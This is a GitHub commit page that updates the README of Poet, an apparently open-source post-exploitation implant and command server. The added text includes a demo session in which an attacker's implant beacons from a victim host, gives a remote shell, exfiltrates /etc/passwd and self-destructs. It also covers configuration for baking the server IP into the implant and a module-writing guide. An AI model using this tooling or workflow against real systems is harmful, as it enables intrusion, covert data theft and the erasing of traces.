Skip to content

Commit

Permalink
Update README
Browse files Browse the repository at this point in the history
  • Loading branch information
offlinemark committed Jul 26, 2015
1 parent 4542af5 commit 871a40c
Showing 1 changed file with 182 additions and 76 deletions.
258 changes: 182 additions & 76 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,88 @@ on the target including:
- download and execute
- self destruct

## demo

This is just a small sample of what Poet can do.

The scenario is, an attacker has gotten access to the victim's machine and
downloaded and executed the client. She does not have
the server running at this point, but it's ok, the client waits patiently.
Eventually the attacker is ready and starts the server, first starting a shell
and executing `uname -a`, then exfiltrating `/etc/passwd`. Then she exits
and detaches from the client, which continues running on the target waiting for
the next opportunity to connect to the server. Later, she connects again,
self-destructing the client, removing all traces from the target.

Victim's Machine (5.4.3.2):

```
$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see
```

> Warning: After running this command, you'll need to either run `selfdestruct`
> from the server, or kill the `poet-client` process to stop the client.
Attacker's Machine (1.2.3.4):

```
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
```

## getting started

Go to the [releases](http://github.com/mossberg/poet/releases) page and
Expand Down Expand Up @@ -67,9 +149,25 @@ $ sudo ./poet-server
### configuration

For any non-testing usage, it is recommended to change the client
authentication token by modifying `common/config.py` before building.
Note that pre-built packages use the default, public authentication token.
The `common/config.py` file contains various **optional** configuration
settings for Poet builds.

- `AUTH`: Secret authentication token shared between the client and server for
client authentication. Note that the default one is anything but secret. For
any non-testing usage, it is recommended to change it to another unguessable
value. Note that pre-built packages use the default, public authentication
token.
- `ARCHIVE_DIR`: Directory used by the server to store files (exec output,
exfil, recon, etc).
- `SERVER_IP`: IP address of the server.
- `BEACON_INTERVAL`: Seconds between client beacons to the server.

The `SERVER_IP` and `BEACON_INTERVAL` configurations allow information
previously required in command line arguments to be baked into the final
executables such that the final executable can simply be executed with no
arguments. Values of `None` for either of them cause them to revert to default
behavior (required command line arg for `SERVER_IP`, optional command line
argument for `BEACON_INTERVAL`).

### client

Expand Down Expand Up @@ -115,97 +213,105 @@ the client. By default, it listens on a privileged port (443) and must be run
with privileges (which are quickly dropped after binding). The `-p` flag can
be used to bypass this by selecting an unprivileged port to listen on (>1024).

## concerns
### extensibility

Documented concerns:
Poet is highly extensible through its module framework, in fact, nearly every
command available at the posh shell is implemented as a module. They can be
viewed in the `common/modules/` directory. The `common/modules/template.py`
serves as a barebones example module, to be used as a starting point.
To add a Poet module, simply place it into the `common/modules/` directory
and rebuild Poet using `make`.

- lack of cryptographically protected communications
- low interval beacons are **noisy** and generate TCP RSTs when the server is
inactive
- shell command is not a "real" shell and does not support most builtins found
in standard shells
Here is a simple example module showing basic communication between the client
and server. The module registers a posh command, sends a string over, the
client reverses it and sends it back, and the server prints it out.

## demo
```
# Note: this module doesn't check if an argv[1] was given
This is just a small sample of what Poet can do.
import module
The scenario is, an attacker has gotten access to the victim's machine and
downloaded and executed the client. She does not have
the server running at this point, but it's ok, the client waits patiently.
Eventually the attacker is ready and starts the server, first starting a shell
and executing `uname -a`, then exfiltrating `/etc/passwd`. Then she exits
and detaches from the client, which continues running on the target waiting for
the next opportunity to connect to the server. Later, she connects again,
self-destructing the client, removing all traces from the target.
Victim's Machine (5.4.3.2):
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
```
$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see

The module begins with

```
import module
```

> Warning: After running this command, you'll need to either run `selfdestruct`
> from the server, or kill the `poet-client` process to stop the client.
This is required, and is needed to register with the module framework.

Attacker's Machine (1.2.3.4):
The next section is the server-side component of the module.

```
$ sudo ./poet-server
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
```

_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
The `@module.server_handler()` decorator is used to register a posh command
by passing in the command name as a decorator parameter and defining a handler
function to execute when the command is run. The handler function must accept
two parameters. One is the instance of the `PoetServer` that called the module,
and the other is the command string entered, represented as a list of
arguments. The server instance exists for the module to be able to use
helper functions for communicating with the client, writing files to the
archive directory, etc. The module uses `server.conn.exchange()` to send
the command line entered as a string to the client and get the response as the
return value.

[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
The client-side component of the module is next.

_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
```
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
```

The `@module.client_handler()` decorator is used to register a task for the
client to react to and process. Since the client and server communicate by
passing strings between them the first part of the string is the keyword
for a particular task. The module registers a client handler function to
execute when a message comes in from the server starting with 'reverse'.
Similar to the server handler, the client handler must accept parameters for
the instance of the `PoetClient` which called it, and the input string
passed from the server. The client then uses the `client.s.send()` function
to send data back to the server, in this case, the first argument, reversed.

In action, this looks like

[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
```
posh > reverse poet
Sending: poet
Received: teop
```

## concerns

Documented concerns:

- lack of cryptographically protected communications
- low interval beacons are **noisy** and generate TCP RSTs when the server is
inactive
- shell command is not a "real" shell and does not support most builtins found
in standard shells

## disclaimer

Expand Down

0 comments on commit 871a40c

Please sign in to comment.